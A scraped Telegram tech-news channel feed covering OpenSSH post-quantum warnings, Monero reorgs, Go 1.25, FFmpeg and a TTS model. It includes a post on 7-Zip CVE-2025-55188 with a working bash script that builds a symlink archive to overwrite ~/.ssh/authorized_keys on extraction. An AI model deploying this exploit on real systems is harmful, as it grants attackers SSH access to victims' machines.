Do It by Code
54 subscribers
713 photos
99 videos
14 files
1.24K links
We uhhhhh... do things by coding them.
Download Telegram
Do It by Code
source
had to share this ahahaha
1
Forwarded from rA9
what is this now...
OpenSSH Post-Quantum Cryptography
Article, Comments

I received a warning from ssh that directed me to this page. What should I do?
As mentioned above, OpenSSH 10.1 started warning users when connections use cryptography that is not safe against quantum computers. If you received such a warning, it means that the server you connected to did not offer one of the two post-quantum key agreement algorithms that are being standardised for the SSH protocol: mlkem768x25519-sha256 and sntrup761x25519-sha512

The ideal solution is to update the server to use an SSH implementation that supports at least one of these. OpenSSH versions 9.0 and greater support sntrup761x25519-sha512 and versions 9.9 and greater support mlkem768x25519-sha256. If your server is already running one of these versions, then check whether the KexAlgorithms option has disabled their use.

If you are unable to update the server and/or you prefer to accept the risk of continuing to use quantum-unsafe cryptography then the warning may be silenced via the WarnWeakCrypto option in ssh_config(5). We recommend doing this selectively, for example:
Match host unsafe.example.com
WarnWeakCrypto no
Do It by Code
CVE-2025-55188: 7-Zip: Arbitrary file write on extraction, may lead to code execution Affected versions: 7-Zip prior to 25.01 Extracting a maliciously-crafted archive with 7-Zip prior to 25.01 allows for arbitrary file write, which may lead to arbitrary…
#!/bin/bash
if [ "$#" -ne 3 ]; then
echo "Usage: $0 <payload_file> <target_symlink_path> <output_archive>"
echo "Example: $0 mykey.pub ../../.ssh/authorized_keys exploit.7z"
exit 1
fi

PAYLOAD="$1"
TARGET="$2"
OUT="$3"

WORKDIR=$(mktemp -d)
ln -s "$TARGET" "$WORKDIR/symlink"
cp "$PAYLOAD" "$WORKDIR/symlink"

tar --sort=name -cf "$WORKDIR/exploit.tar" -C "$WORKDIR" symlink
7z a "$OUT" "$WORKDIR/exploit.tar" >/dev/null

echo "[*] Exploit archive created: $OUT"
rm -rf "$WORKDIR"
Source

A 6 re-org does not mean a '51% attack' was successful. In that case, we'd see unbounded-depth re-orgs/no blocks mined by any other mining pool (assuming the adversary censors other mining pools, as this one does).

It does mean an adversary with a high amount of hash got "lucky" (or maybe they are just too rich?)


https://moneroconsensus.info/
but yes this looks quite bad

#xmr #monero
so github search can no longer find symbols in files that are auto-generated?

I remember months ago searching the exact same thing and it gave me lots of results

but now it is only giving me a single result...(or maybe I'm searching it wrong?)
1
happy 4.4k ETH 🎉
Please open Telegram to view this post
VIEW IN TELEGRAM
this is REAL 2.5 pro in REAL gemini.google.com
Go 1.25

Go 1.25 release includes changes in toolchain, runtime, and libraries with no language changes affecting Go programs, maintaining the Go 1 promise of compatibility. The release introduces new features such as a lightweight execution trace, improved garbage collector, and new JSON implementation, while also fixing a compiler bug and improving performance in various areas.
Forwarded from vx-underground
The United Kingdom government says it needs to utilize "Facial Recognition" vans and the "Online Safety Act" to protect you and your children from criminals and dangerous things online.

Meanwhile, the government suggests deleting e-mails to save water.

Actual fucking morons
FFmpeg 8.0 adds Whisper support
Article, Comments

(GitHub mirror)
Kitten TTS – 25MB CPU-Only, Open-Source TTS Model

🔸Kitten TTS is an open-source realistic text-to-speech model with just 15 million parameters, designed for lightweight deployment and high-quality voice synthesis.
Forwarded from Volunteer Support
я бы поспорил